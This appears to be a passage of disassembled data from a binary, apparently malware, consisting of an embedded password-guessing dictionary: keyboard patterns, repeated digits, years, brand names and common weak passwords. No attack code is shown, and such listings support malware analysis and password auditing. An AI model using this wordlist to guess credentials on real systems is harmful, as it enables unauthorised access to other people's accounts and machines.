aD:					; DATA XREF: .text:0042E768o
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: .text:0042E764o
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: .text:0042E760o
		align 10h
aCcccccc	db 'ccccccc',0          ; DATA XREF: .text:0042E75Co
aCccccc		db 'cccccc',0           ; DATA XREF: .text:0042E758o
		align 10h
aCcccc		db 'ccccc',0            ; DATA XREF: .text:0042E754o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: .text:0042E750o
		align 10h
aCcc		db 'ccc',0              ; DATA XREF: .text:0042E74Co
aCc		db 'cc',0               ; DATA XREF: .text:0042E748o
		align 4
aC_1:					; DATA XREF: .text:0042E744o
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: .text:0042E740o
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: .text:0042E73Co
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: .text:0042E738o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .text:0042E734o
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: .text:0042E730o
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: .text:0042E72Co
		align 4
aBbb		db 'bbb',0              ; DATA XREF: .text:0042E728o
aBb		db 'bb',0               ; DATA XREF: .text:0042E724o
		align 4
aB_0:					; DATA XREF: .text:0042E720o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: .text:0042E71Co
aEdc		db 'edc',0              ; DATA XREF: .text:0042E718o
aWsx		db 'wsx',0              ; DATA XREF: .text:0042E714o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .text:0042E70Co
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .text:0042E708o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .text:0042E704o
aAsdfg		db 'asdfg',0            ; DATA XREF: .text:0042E6FCo
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .text:0042E6ECo
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .text:0042E6E8o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: .text:0042E6E4o
		align 4
aZx		db 'zx',0               ; DATA XREF: .text:0042E6D8o
		align 10h
aKonyang	db 'konyang',0          ; DATA XREF: .text:0042E6D0o
aToyota		db 'TOYOTA',0           ; DATA XREF: .text:0042E698o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: .text:0042E694o
aKor_0		db 'kor',0              ; DATA XREF: .text:0042E68Co
aChi		db 'chi',0              ; DATA XREF: .text:0042E688o
aChi_0		db 'CHI',0              ; DATA XREF: .text:0042E684o
aSystem		db 'system',0           ; DATA XREF: .text:0042E67Co
		align 4
aServices	db 'services',0         ; DATA XREF: .text:0042E678o
		align 4
aServers	db 'servers',0          ; DATA XREF: .text:0042E674o
aServer_0	db 'server',0           ; DATA XREF: .text:0042E66Co
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: .text:0042E664o
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: .text:0042E660o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: .text:0042E65Co
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: .text:0042E658o
aQw		db 'qw',0               ; DATA XREF: .text:0042E644o
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .text:0042E638o
		align 10h
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .text:0042E634o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .text:0042E630o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .text:0042E62Co
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: .text:0042E628o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: .text:0042E624o
		align 4
aAa		db 'aa',0               ; DATA XREF: .text:0042E61Co
		align 10h
aNokia_0	db 'NOKIA',0            ; DATA XREF: .text:0042E610o
		align 4
aSex		db 'SEX',0              ; DATA XREF: .text:0042E60Co
aCreative	db 'CREATIVE',0         ; DATA XREF: .text:0042E608o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: .text:0042E604o
		align 10h
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .text:0042E600o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: .text:0042E5FCo
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: .text:0042E5F8o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: .text:0042E5F4o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: .text:0042E5F0o
aSony		db 'sony',0             ; DATA XREF: .text:0042E5ECo
		align 4
a7654321	db '7654321',0          ; DATA XREF: .text:0042E5E8o
a4321		db '4321',0             ; DATA XREF: .text:0042E5DCo
		align 4
a321		db '321',0              ; DATA XREF: .text:0042E5D8o
a2006		db '2006',0             ; DATA XREF: .text:0042E5D0o
		align 10h
a2005		db '2005',0             ; DATA XREF: .text:0042E5CCo
		align 4
a2004		db '2004',0             ; DATA XREF: .text:0042E5C8o
		align 10h
a2001		db '2001',0             ; DATA XREF: .text:0042E5BCo
		align 4
a2000		db '2000',0             ; DATA XREF: .text:0042E5B8o
		align 10h
a1999		db '1999',0             ; DATA XREF: .text:0042E5B4o
		align 4
a1998		db '1998',0             ; DATA XREF: .text:0042E5B0o
		align 10h
a1997		db '1997',0             ; DATA XREF: .text:0042E5ACo
		align 4
a1996		db '1996',0             ; DATA XREF: .text:0042E5A8o
		align 10h
a1995		db '1995',0             ; DATA XREF: .text:0042E5A4o
		align 4
a1994		db '1994',0             ; DATA XREF: .text:0042E5A0o
		align 10h
a1993		db '1993',0             ; DATA XREF: .text:0042E59Co
		align 4
a1992		db '1992',0             ; DATA XREF: .text:0042E598o
		align 10h
a1991		db '1991',0             ; DATA XREF: .text:0042E594o
		align 4
a1990		db '1990',0             ; DATA XREF: .text:0042E590o
		align 10h
a1989		db '1989',0             ; DATA XREF: .text:0042E58Co
		align 4
a1988		db '1988',0             ; DATA XREF: .text:0042E588o
		align 10h
a1987		db '1987',0             ; DATA XREF: .text:0042E584o
		align 4
a1986		db '1986',0             ; DATA XREF: .text:0042E580o
		align 10h
a1985		db '1985',0             ; DATA XREF: .text:0042E57Co
		align 4
a1984		db '1984',0             ; DATA XREF: .text:0042E578o
		align 10h
a1983		db '1983',0             ; DATA XREF: .text:0042E574o
		align 4
a1982		db '1982',0             ; DATA XREF: .text:0042E570o
		align 10h
a1981		db '1981',0             ; DATA XREF: .text:0042E56Co
		align 4
a1980		db '1980',0             ; DATA XREF: .text:0042E568o
		align 10h
a1979		db '1979',0             ; DATA XREF: .text:0042E564o
		align 4
a1978		db '1978',0             ; DATA XREF: .text:0042E560o
		align 10h
a1977		db '1977',0             ; DATA XREF: .text:0042E55Co
		align 4
a1976		db '1976',0             ; DATA XREF: .text:0042E558o
		align 10h
a1975		db '1975',0             ; DATA XREF: .text:0042E554o
		align 4
a1974		db '1974',0             ; DATA XREF: .text:0042E550o
		align 10h
a1973		db '1973',0             ; DATA XREF: .text:0042E54Co
		align 4
a1972		db '1972',0             ; DATA XREF: .text:0042E548o
		align 10h
a1971		db '1971',0             ; DATA XREF: .text:0042E544o
		align 4
a1970		db '1970',0             ; DATA XREF: .text:0042E540o
		align 10h
a1969		db '1969',0             ; DATA XREF: .text:0042E53Co
		align 4
a1968		db '1968',0             ; DATA XREF: .text:0042E538o
		align 10h
a1967		db '1967',0             ; DATA XREF: .text:0042E534o
		align 4
a1966		db '1966',0             ; DATA XREF: .text:0042E530o
		align 10h
a1965		db '1965',0             ; DATA XREF: .text:0042E52Co
		align 4
a1964		db '1964',0             ; DATA XREF: .text:0042E528o
		align 10h
a1963		db '1963',0             ; DATA XREF: .text:0042E524o
		align 4
a1962		db '1962',0             ; DATA XREF: .text:0042E520o
		align 10h
a1961		db '1961',0             ; DATA XREF: .text:0042E51Co
		align 4
a1960		db '1960',0             ; DATA XREF: .text:0042E518o
		align 10h
a1959		db '1959',0             ; DATA XREF: .text:0042E514o
		align 4
a1958		db '1958',0             ; DATA XREF: .text:0042E510o
		align 10h
a1957		db '1957',0             ; DATA XREF: .text:0042E50Co
		align 4
a1956		db '1956',0             ; DATA XREF: .text:0042E508o
		align 10h
a1955		db '1955',0             ; DATA XREF: .text:0042E504o
		align 4
a1954		db '1954',0             ; DATA XREF: .text:0042E500o
		align 10h
a1953		db '1953',0             ; DATA XREF: .text:0042E4FCo
		align 4
a1952		db '1952',0             ; DATA XREF: .text:0042E4F8o
		align 10h
a1234qwe	db '1234qwe',0          ; DATA XREF: .text:0042E4F4o
a1234asd	db '1234asd',0          ; DATA XREF: .text:0042E4F0o
a1234abc	db '1234abc',0          ; DATA XREF: .text:0042E4ECo
a123qwer	db '123qwer',0          ; DATA XREF: .text:0042E4D8o
a12qwe		db '12qwe',0            ; DATA XREF: .text:0042E4D4o
		align 4
a12asd		db '12asd',0            ; DATA XREF: .text:0042E4D0o
		align 10h
a12abc		db '12abc',0            ; DATA XREF: .text:0042E4CCo
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .text:0042E4C8o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: .text:0042E4C4o
		align 4
a1asd		db '1asd',0             ; DATA XREF: .text:0042E4C0o
		align 10h
a1abc		db '1abc',0             ; DATA XREF: .text:0042E4BCo
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .text:0042E4B8o
		align 10h
a1020		db '1020',0             ; DATA XREF: .text:0042E474o
		align 4
a0258		db '0258',0             ; DATA XREF: .text:0042E470o
		align 10h
a8520		db '8520',0             ; DATA XREF: .text:0042E46Co
		align 4
a987		db '987',0              ; DATA XREF: .text:0042E468o
a789		db '789',0              ; DATA XREF: .text:0042E464o
a654		db '654',0              ; DATA XREF: .text:0042E460o
a456		db '456',0              ; DATA XREF: .text:0042E45Co
a1122		db '1122',0             ; DATA XREF: .text:0042E458o
		align 10h
a0147		db '0147',0             ; DATA XREF: .text:0042E454o
		align 4
a7410		db '7410',0             ; DATA XREF: .text:0042E450o
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: .text:0042E448o
		align 4
a999999999	db '999999999',0        ; DATA XREF: .text:0042E444o
		align 4
a99999999	db '99999999',0         ; DATA XREF: .text:0042E440o
		align 4
a9999999	db '9999999',0          ; DATA XREF: .text:0042E43Co
a999999		db '999999',0           ; DATA XREF: .text:0042E438o
		align 4
a99999		db '99999',0            ; DATA XREF: .text:0042E434o
		align 4
a9999		db '9999',0             ; DATA XREF: .text:0042E430o
		align 4
a999		db '999',0              ; DATA XREF: .text:0042E42Co
a99		db '99',0               ; DATA XREF: .text:0042E428o
		align 4
a9:					; DATA XREF: .text:0042E424o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .text:0042E420o
		align 4
a888888888	db '888888888',0        ; DATA XREF: .text:0042E41Co
		align 4
a8888888	db '8888888',0          ; DATA XREF: .text:0042E414o
a888888		db '888888',0           ; DATA XREF: .text:0042E410o
		align 4
a88888		db '88888',0            ; DATA XREF: .text:0042E40Co
		align 10h
a8888		db '8888',0             ; DATA XREF: .text:0042E408o
		align 4
a888		db '888',0              ; DATA XREF: .text:0042E404o
a88		db '88',0               ; DATA XREF: .text:0042E400o
		align 10h
a8:					; DATA XREF: .text:0042E3FCo
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .text:0042E3F8o
		align 10h
a777777777	db '777777777',0        ; DATA XREF: .text:0042E3F4o
		align 4
a77777777	db '77777777',0         ; DATA XREF: .text:0042E3F0o
		align 4
a7777777	db '7777777',0          ; DATA XREF: .text:0042E3ECo
a777777		db '777777',0           ; DATA XREF: .text:0042E3E8o
		align 4
a77777		db '77777',0            ; DATA XREF: .text:0042E3E4o
		align 10h
a7777		db '7777',0             ; DATA XREF: .text:0042E3E0o
		align 4
a777		db '777',0              ; DATA XREF: .text:0042E3DCo
a77		db '77',0               ; DATA XREF: .text:0042E3D8o
		align 10h
a7:					; DATA XREF: .text:0042E3D4o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .text:0042E3D0o
		align 10h
a666666666	db '666666666',0        ; DATA XREF: .text:0042E3CCo
		align 4
a66666666	db '66666666',0         ; DATA XREF: .text:0042E3C8o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .text:0042E3C4o
a666666		db '666666',0           ; DATA XREF: .text:0042E3C0o
		align 4
a66666		db '66666',0            ; DATA XREF: .text:0042E3BCo
		align 10h
a6666		db '6666',0             ; DATA XREF: .text:0042E3B8o
		align 4
a666		db '666',0              ; DATA XREF: .text:0042E3B4o
a66		db '66',0               ; DATA XREF: .text:0042E3B0o
		align 10h
a6:					; DATA XREF: .text:0042E3ACo
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .text:0042E3A8o
		align 10h
a555555555	db '555555555',0        ; DATA XREF: .text:0042E3A4o
		align 4
a55555555	db '55555555',0         ; DATA XREF: .text:0042E3A0o
		align 4
a5555555	db '5555555',0          ; DATA XREF: .text:0042E39Co
a555555		db '555555',0           ; DATA XREF: .text:0042E398o
		align 4
a55555		db '55555',0            ; DATA XREF: .text:0042E394o
		align 10h
a5555		db '5555',0             ; DATA XREF: .text:0042E390o
		align 4
a555		db '555',0              ; DATA XREF: .text:0042E38Co
a55		db '55',0               ; DATA XREF: .text:0042E388o
		align 10h
a5_0:					; DATA XREF: .text:0042E384o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .text:0042E380o
		align 10h
a444444444	db '444444444',0        ; DATA XREF: .text:0042E37Co
		align 4
a44444444	db '44444444',0         ; DATA XREF: .text:0042E378o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .text:0042E374o
a444444		db '444444',0           ; DATA XREF: .text:0042E370o
		align 4
a44444		db '44444',0            ; DATA XREF: .text:0042E36Co
		align 10h
a4444		db '4444',0             ; DATA XREF: .text:0042E368o
		align 4
a444		db '444',0              ; DATA XREF: .text:0042E364o
a44		db '44',0               ; DATA XREF: .text:0042E360o
		align 10h
a4_0:					; DATA XREF: .text:0042E35Co
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .text:0042E358o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: .text:0042E354o
		align 4
a33333333	db '33333333',0         ; DATA XREF: .text:0042E350o
		align 4
a3333333	db '3333333',0          ; DATA XREF: .text:0042E34Co
a333333		db '333333',0           ; DATA XREF: .text:0042E348o
		align 4
a33333		db '33333',0            ; DATA XREF: .text:0042E344o
		align 10h
a3333		db '3333',0             ; DATA XREF: .text:0042E340o
		align 4
a333		db '333',0              ; DATA XREF: .text:0042E33Co
a33		db '33',0               ; DATA XREF: .text:0042E338o
		align 10h
a3:					; DATA XREF: .text:0042E334o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .text:0042E330o
		align 10h
a222222222	db '222222222',0        ; DATA XREF: .text:0042E32Co
		align 4
a22222222	db '22222222',0         ; DATA XREF: .text:0042E328o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .text:0042E324o
a222222		db '222222',0           ; DATA XREF: .text:0042E320o
		align 4
a22222		db '22222',0            ; DATA XREF: .text:0042E31Co
		align 10h
a2222		db '2222',0             ; DATA XREF: .text:0042E318o
		align 4
a222		db '222',0              ; DATA XREF: .text:0042E314o
a22		db '22',0               ; DATA XREF: .text:0042E310o
		align 10h
a2:					; DATA XREF: .text:0042E30Co
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .text:0042E308o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: .text:0042E304o
		align 4
a1111111	db '1111111',0          ; DATA XREF: .text:0042E2FCo
a11111		db '11111',0            ; DATA XREF: .text:0042E2F4o
		align 4
a1111		db '1111',0             ; DATA XREF: .text:0042E2F0o
		align 4
a11		db '11',0               ; DATA XREF: .text:0042E2E8o
		align 4
a010		db '010',0              ; DATA XREF: .text:0042E2D8o
a009		db '009',0              ; DATA XREF: .text:0042E2D4o
a008		db '008',0              ; DATA XREF: .text:0042E2D0o
a006		db '006',0              ; DATA XREF: .text:0042E2C8o
a005		db '005',0              ; DATA XREF: sub_40CD3A+207o
					; .text:0042E2C4o
a004		db '004',0              ; DATA XREF: .text:0042E2C0o
a003		db '003',0              ; DATA XREF: .text:0042E2BCo
a002		db '002',0              ; DATA XREF: .text:0042E2B8o
a001		db '001',0              ; DATA XREF: sub_40CD3A+1F2o
					; .text:0042E2B4o
asc_42F55C	db '*********',0        ; DATA XREF: .text:0042E2B0o
		align 4
asc_42F568	db '********',0         ; DATA XREF: .text:0042E2ACo
		align 4
asc_42F574	db '*******',0          ; DATA XREF: .text:0042E2A8o
asc_42F57C	db '******',0           ; DATA XREF: .text:0042E2A4o
		align 4
asc_42F584	db '*****',0            ; DATA XREF: .text:0042E2A0o
		align 4
asc_42F58C	db '****',0             ; DATA XREF: .text:0042E29Co
		align 4
asc_42F594	db '***',0              ; DATA XREF: .text:0042E298o
asc_42F598	db '**',0               ; DATA XREF: .text:0042E294o
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: .text:0042E28Co
		align 4
a000000000	db '000000000',0        ; DATA XREF: .text:0042E288o
		align 4
a@		db '@!',0               ; DATA XREF: .text:0042E268o
		align 4
a@_0		db '#@!',0              ; DATA XREF: .text:0042E264o
a@_1		db '$#@!',0             ; DATA XREF: .text:0042E260o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: .text:0042E25Co
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: .text:0042E258o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: .text:0042E254o
a@_5		db '*&^%$#@!',0         ; DATA XREF: .text:0042E250o
		align 4
asc_42F5E8	db '$$$',0              ; DATA XREF: .text:0042E24Co
asc_42F5EC	db '$$',0               ; DATA XREF: .text:0042E248o
		align 10h
asc_42F5F0:				; DATA XREF: .text:0042E244o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: .text:0042E240o
		align 4
a789_0		db '789+',0             ; DATA XREF: .text:0042E23Co
		align 4
a0		db '=-0',0              ; DATA XREF: .text:0042E238o
asc_42F608	db '--++',0             ; DATA XREF: .text:0042E234o
		align 10h
asc_42F610	db '-+',0               ; DATA XREF: .text:0042E230o
		align 4
asc_42F614	db '----',0             ; DATA XREF: .text:0042E22Co
		align 4
asc_42F61C	db '--',0               ; DATA XREF: .text:0042E224o
					; .text:0042E228o
		align 10h
asc_42F620:				; DATA XREF: .text:0042E220o
		unicode	0, <->,0
asc_42F624	db '++++',0             ; DATA XREF: .text:0042E21Co
		align 4
asc_42F62C	db '+++',0              ; DATA XREF: .text:0042E218o
asc_42F630	db '++',0               ; DATA XREF: .text:0042E214o
		align 4
asc_42F634:				; DATA XREF: .text:0042E210o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .text:0042E20Co
		align 4
a@_6:					; DATA XREF: sub_40CD3A+22Co
					; .text:0042E208o
		unicode	0, <@>,0
off_42F640	dd offset loc_40211F+2	; DATA XREF: .text:0042E204o
dword_42F644	dd 2121h	dword_42F648	dd 234021h	dword_42F64C	dd 4021h	dword_42F650	dd 21h							; sub_40CD3A+5B04o ...
aZxcv		db 'zxcv',0             ; DATA XREF: .text:0042E1D8o
					; .text:0042E6E0o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: .text:0042E1D4o
					; .text:0042E6DCo
aZulu		db 'zulu',0             ; DATA XREF: .text:0042E1D0o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .text:0042E1CCo
		align 10h
aZmodem		db 'zmodem',0           ; DATA XREF: .text:0042E1C8o
		align 4
aZimmerman	db 'zimmerman',0        ; DATA XREF: .text:0042E1C4o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .text:0042E1C0o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: .text:0042E1BCo
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .text:0042E1B8o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .text:0042E1B4o
		align 4
aZap		db 'zap',0              ; DATA XREF: .text:0042E1B0o
aYxcv		db 'yxcv',0             ; DATA XREF: .text:0042E1ACo
		align 4
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .text:0042E1A8o
		align 4
aYoung		db 'young',0            ; DATA XREF: .text:0042E1A4o
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: .text:0042E1A0o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: .text:0042E19Co
aYellowstone	db 'yellowstone',0      ; DATA XREF: .text:0042E198o
aYellowst	db 'yellowst',0         ; DATA XREF: .text:0042E194o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .text:0042E190o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .text:0042E18Co
		align 4
aYang		db 'yang',0             ; DATA XREF: .text:0042E188o
					; .text:0042E6CCo
		align 4
aYaco		db 'yaco',0             ; DATA XREF: .text:0042E184o
					; .text:0042E6C8o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .text:0042E180o
		align 4
aXyz		db 'xyz',0              ; DATA XREF: .text:0042E17Co
					; .text:0042E6C4o
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .text:0042E178o
					; .text:0042E6C0o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .text:0042E174o
					; .text:0042E6BCo
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .text:0042E170o
					; .text:0042E6B8o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .text:0042E16Co
					; .text:0042E6B4o
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: .text:0042E168o
					; .text:0042E6B0o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .text:0042E164o
					; .text:0042E6ACo
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: .text:0042E160o
					; .text:0042E6A8o
aXx		db 'xx',0               ; DATA XREF: .text:0042E15Co
					; .text:0042E6A4o
		align 4
aXray		db 'xray',0             ; DATA XREF: .text:0042E158o
		align 10h
aXp_0		db 'xp',0               ; DATA XREF: .text:0042E154o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .text:0042E150o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .text:0042E14Co
		align 4
aXman		db 'xman',0             ; DATA XREF: .text:0042E148o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .text:0042E144o
		align 4
aXena		db 'xena',0             ; DATA XREF: .text:0042E140o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .text:0042E138o
aWww		db 'www',0              ; DATA XREF: .text:0042E130o
aWwii		db 'wwii',0             ; DATA XREF: .text:0042E12Co
		align 10h
aWormwood	db 'wormwood',0         ; DATA XREF: .text:0042E128o
		align 4
aWorm		db 'worm',0             ; DATA XREF: .text:0042E124o
		align 4
aWork		db 'work',0             ; DATA XREF: .text:0042E120o
		align 4
aWorf		db 'worf',0             ; DATA XREF: .text:0042E11Co
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: .text:0042E118o
		align 10h
aWord		db 'word',0             ; DATA XREF: .text:0042E114o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .text:0042E110o
		align 4
aWood		db 'wood',0             ; DATA XREF: .text:0042E10Co
		align 4
aWomen		db 'women',0            ; DATA XREF: .text:0042E108o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: .text:0042E104o
		align 4
aWoman		db 'woman',0            ; DATA XREF: .text:0042E100o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: .text:0042E0FCo
		align 10h
aWolf		db 'wolf',0             ; DATA XREF: .text:0042E0F8o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .text:0042E0F4o
		align 10h
aWithin		db 'within',0           ; DATA XREF: .text:0042E0F0o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .text:0042E0ECo
aWisconsin	db 'wisconsin',0        ; DATA XREF: .text:0042E0E8o
		align 4
aWisconsi	db 'wisconsi',0         ; DATA XREF: .text:0042E0E4o
		align 4
aWired		db 'wired',0            ; DATA XREF: .text:0042E0E0o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .text:0042E0DCo
		align 4
aWinston	db 'winston',0          ; DATA XREF: .text:0042E0D8o
aWinpass	db 'winpass',0          ; DATA XREF: .text:0042E0D4o
aWinnt		db 'winnt',0            ; DATA XREF: .text:0042E0D0o
		align 10h
aWing		db 'wing',0             ; DATA XREF: .text:0042E0CCo
		align 4
aWine		db 'wine',0             ; DATA XREF: .text:0042E0C8o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: .text:0042E0C4o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .text:0042E0C0o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .text:0042E0BCo
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .text:0042E0B8o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .text:0042E0B4o
		align 4
aWindoze	db 'windoze',0          ; DATA XREF: .text:0042E0B0o
aWindowz	db 'windowz',0          ; DATA XREF: .text:0042E0ACo
aWindowsme	db 'windowsME',0        ; DATA XREF: .text:0042E0A8o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .text:0042E0A4o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .text:0042E0A0o
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: .text:0042E09Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .text:0042E098o
aWindose	db 'windose',0          ; DATA XREF: .text:0042E094o
aWin98		db 'win98',0            ; DATA XREF: .text:0042E090o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .text:0042E08Co
		align 4
aWin2000	db 'win2000',0          ; DATA XREF: .text:0042E088o
aWin		db 'win',0              ; DATA XREF: .text:0042E084o
aWilma		db 'wilma',0            ; DATA XREF: .text:0042E080o
		align 10h
aWillie		db 'willie',0           ; DATA XREF: .text:0042E07Co
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .text:0042E078o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: .text:0042E074o
		align 4
aWilliam	db 'william',0          ; DATA XREF: .text:0042E070o
aWill		db 'will',0             ; DATA XREF: .text:0042E06Co
		align 4
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .text:0042E068o
aWhore		db 'whore',0            ; DATA XREF: .text:0042E064o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: .text:0042E060o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .text:0042E05Co
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: .text:0042E058o
aWhiting	db 'whiting',0          ; DATA XREF: .text:0042E054o
aWhite		db 'white',0            ; DATA XREF: .text:0042E050o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: .text:0042E04Co
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: .text:0042E048o
aWhatever	db 'whatever',0         ; DATA XREF: .text:0042E044o
		align 4
aWh0re		db 'wh0re',0            ; DATA XREF: .text:0042E040o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: .text:0042E03Co
		align 4
aWestern	db 'western',0          ; DATA XREF: .text:0042E038o
aWest		db 'west',0             ; DATA XREF: .text:0042E034o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .text:0042E030o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: .text:0042E02Co
		align 4
aWendi		db 'wendi',0            ; DATA XREF: .text:0042E028o
		align 10h
aWell		db 'well',0             ; DATA XREF: .text:0042E024o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: .text:0042E020o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: .text:0042E01Co
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: .text:0042E018o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .text:0042E014o
aWeb		db 'web',0              ; DATA XREF: .text:0042E010o
aWave		db 'wave',0             ; DATA XREF: .text:0042E00Co
		align 4
aWater		db 'water',0            ; DATA XREF: .text:0042E008o
		align 10h
aWatchwor	db 'watchwor',0         ; DATA XREF: .text:0042E004o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: .text:0042E000o
		align 4
aWarren		db 'warren',0           ; DATA XREF: .text:0042DFFCo
		align 4
aWarp		db 'warp',0             ; DATA XREF: .text:0042DFF8o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: .text:0042DFF4o
		align 10h
aWarfare	db 'warfare',0          ; DATA XREF: .text:0042DFF0o
aWarez		db 'warez',0            ; DATA XREF: .text:0042DFECo
		align 10h
aWard		db 'ward',0             ; DATA XREF: .text:0042DFE8o
		align 4
aWaco		db 'waco',0             ; DATA XREF: .text:0042DFE4o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: .text:0042DFE0o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: .text:0042DFDCo
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: .text:0042DFD8o
		align 4
aVisual		db 'visual',0           ; DATA XREF: .text:0042DFD4o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: .text:0042DFD0o
aVirus		db 'virus',0            ; DATA XREF: .text:0042DFCCo
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: .text:0042DFC8o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: .text:0042DFC4o
		align 4
aVillage	db 'village',0          ; DATA XREF: .text:0042DFC0o
